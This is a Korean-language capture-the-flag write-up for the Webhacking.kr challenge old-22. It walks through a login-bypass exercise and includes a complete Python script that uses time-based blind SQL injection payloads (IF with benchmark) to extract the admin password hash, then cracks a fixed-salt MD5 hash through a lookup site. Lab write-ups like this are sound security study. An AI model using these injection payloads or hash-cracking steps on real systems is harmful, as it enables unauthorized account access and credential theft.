Webhacking.kr Challenge old-22 문제 풀이
이번 문제는 admin으로 로그인하는 게 목표고 컬럼명을 id와 pw를 제시해 준 것으로 보아 sql injection을 하라고 유도하는 것 같다.
일단 admin으로 로그인 시도 결과
비밀번호가 틀리면 Login fail!이 나타난다.
두 번째 시도로 간단한 sql문을 입력해 보자
id에 ' or 1=1#을 입력하니
흠... 단순 로그인 실패 메시지와 다른걸로 보아 sql문이 정상적으로 작동하는 것으로 예상 바로 injection을 시도해 봤다.
import requests
import time
url="https://webhacking.kr/challenge/bonus-2/"
cookies={"PHPSESSID":"자신의 쿠키값"}
string="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789"
pw=""
for i in range(0,200): #길이구하기
start=time.time()
datas= {
"uuid":f"' OR id='admin' AND IF(length(pw)={i},benchmark(10000000,md5('1')),1)#",
"pw":"123"
}
res=requests.post(url,data=datas,cookies=cookies)
end=time.time()
print(i)
if end-start > 2 :
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in string:
start=time.time()
datas= {
"uuid":f"' OR id='admin' AND IF(substr(pw,{i},1)='{j}',benchmark(10000000,md5('1')),1)#",
"pw":"123"
}
res=requests.post(url,data=datas,cookies=cookies)
end=time.time()
if end-start > 1:
pw+=j
print("pw:",pw)
break
print("password:",pw)
파이썬으로 코드를 짜고 결괏값을 보니
너무 순조롭게 풀린다 했더니
해당 비밀번호로는 로그인이 안된다.
일단 다른 계정을 만들어 로그인을 해봤다
id:a
pw:a
로그인하니 해당 pw의 hash값을 출력해 준다.
32글자인 걸로 보아 md2 또는 md5일 텐데 확실한 확인을 위해 복호화 사이트에 넣어봤다.
(복호화 사이트는 레이보우 테이블 형식으로 검색하므로 a에 대한 hash값은 대부분 있을 것이다)
예상대로 md5 형태의 암호화였는데 결과가 aapple로 나왔다.
다른 계정을 만들어 (pw:b) 확인해 보니
bapple이 나왔다.
여기서 apple은 salt값으로 보통 md5의 취약점은 레인보우 테이블 공격에 의해 일어나는데
이러한 대입 공격을 방지하기 위해 원문 pw에 추가로 무작위 단어(salt)를 붙여 암호화하는 방법이다.
하지만 salt값이 하나로 고정되어 있으면 한번 노출될 시 나머지 다른 pw들에 대한 효력이 사라지게 된다.
그래서 salt값을 여러 개로 만들어 무작위로 넣어야 하는데 사실 이 방법도 완벽한 방법은 아니다.
이번 문제는 salt값에 대한 취약점을 다룬 문제인 것 같다는 생각이 들었다.
아무튼 salt값도 알았겠다
admin의 pw hash값을 복호화해 보면
wowapple 즉, wow가 pw인 게 확인되었다.
로그인하면 문제가 풀린다.